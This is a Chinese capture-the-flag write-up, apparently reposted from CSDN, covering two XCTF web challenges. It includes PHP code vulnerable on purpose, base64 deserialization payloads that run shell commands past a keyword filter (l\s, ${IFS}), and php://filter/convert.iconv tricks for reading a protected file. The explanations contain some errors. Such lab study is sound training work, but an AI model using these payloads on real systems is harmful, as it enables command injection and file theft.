免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**
目录
一:攻防世界web-Unseping
打开发现为php代码,我们先进行代码审计
//靶场代码如下
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\\||&|;| |\\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$payload=new ease(method:'ping', args:array('l/s'));
echo base64_encode(serialize($payload));
?>
1:首先利用post方法接受一个CTF并赋值给$ctf
2:将$ctf进行base64编码后再反序列化
_wakeup:在反序列化时被调用
3:调用_wakeup方法,将$this->arg进行遍历(也就是调用waf方法对$v进行过滤,然后将过滤后的$v在赋值给 $this->args也就是$k)
4:接受一个$str参数,然后利用if语句对str进行正则 检查。如果不包含就返回$str反之输出don’t hack
_destruct:在脚本结束时调用
call_user_func_array :是 PHP 里一个相当实用的函数,它能动态调用函数或者方法,并且可以把参数以数组形式传递给被调用的函数或方法
5:首先判断$this->method是否为ping 如果为ping则调用$this->method方法也就是pin方法并将$this->args传给该方法,也就是传递给6
6:接受一个$ip也就是$this->metgod ,利用exrc执行$ip命令并将结果存在$result中最后在打印出来。
7:定义一个类然后声明两个私有属性,创建一个函数在类被调用时接收两个参数并赋值给$this->method和$this->args
所以根据上述审计结果,代码流程为:首先接收post请求的CTF并将其base64编码后反序列化然后调用_wakeup方法遍历过滤在调用_deestruct方法进行调用ping,在ping中执行exrc方法。
构建payload:
1.创建一个新的ease对象设置method为“ping” args为执行的命令
2.由于ls被过滤所以ls=l/s就可以绕过
$payload=new ease(method:'ping', args:array('l/s'));
echo base64_encode(serialize($payload));
注意要英文书写
序列化得到:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
得到flag目录修改payload查看此目录
${IFS}=空格
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=
得到flag文件查看这个文件在构建payload
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsXGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
More:查看文件
$(printf${IFS}”\\57”)=\\
得到flag
二:攻防世界web-file_include
打开为如下所示
//靶场代码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
文件包含了一个check.php但我们访问不到,如何读取这个文件,我们利用php伪协议:php:/filter
常见的伪协议有:
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/resource=flag.php
通过实验这两个都不可以
尝试其他伪协议
convert.iconv.<input-encoding>原始文件字符编码.<output-encoding>目标文件字符编码 (转化过滤器)
//字符编码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
我们利用bp尝试,对两个字符编码进行爆破,爆破字典如上
爆破成功得到flag,这道题目考察的是convert.iconv.<input-encoding>.<output-encoding> 伪协议
三:总结
攻防世界Web题中反序列化漏洞常考察PHP对象注入及魔术方法利用,伪协议题目多涉及php://filter、phar://等协议进行文件读取/反序列化攻击,需灵活运用编码转换和特性绕过防护。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)
平台声明:以上文章转载于《CSDN》,文章全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,仅作参考。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/w11111111152/article/details/147258803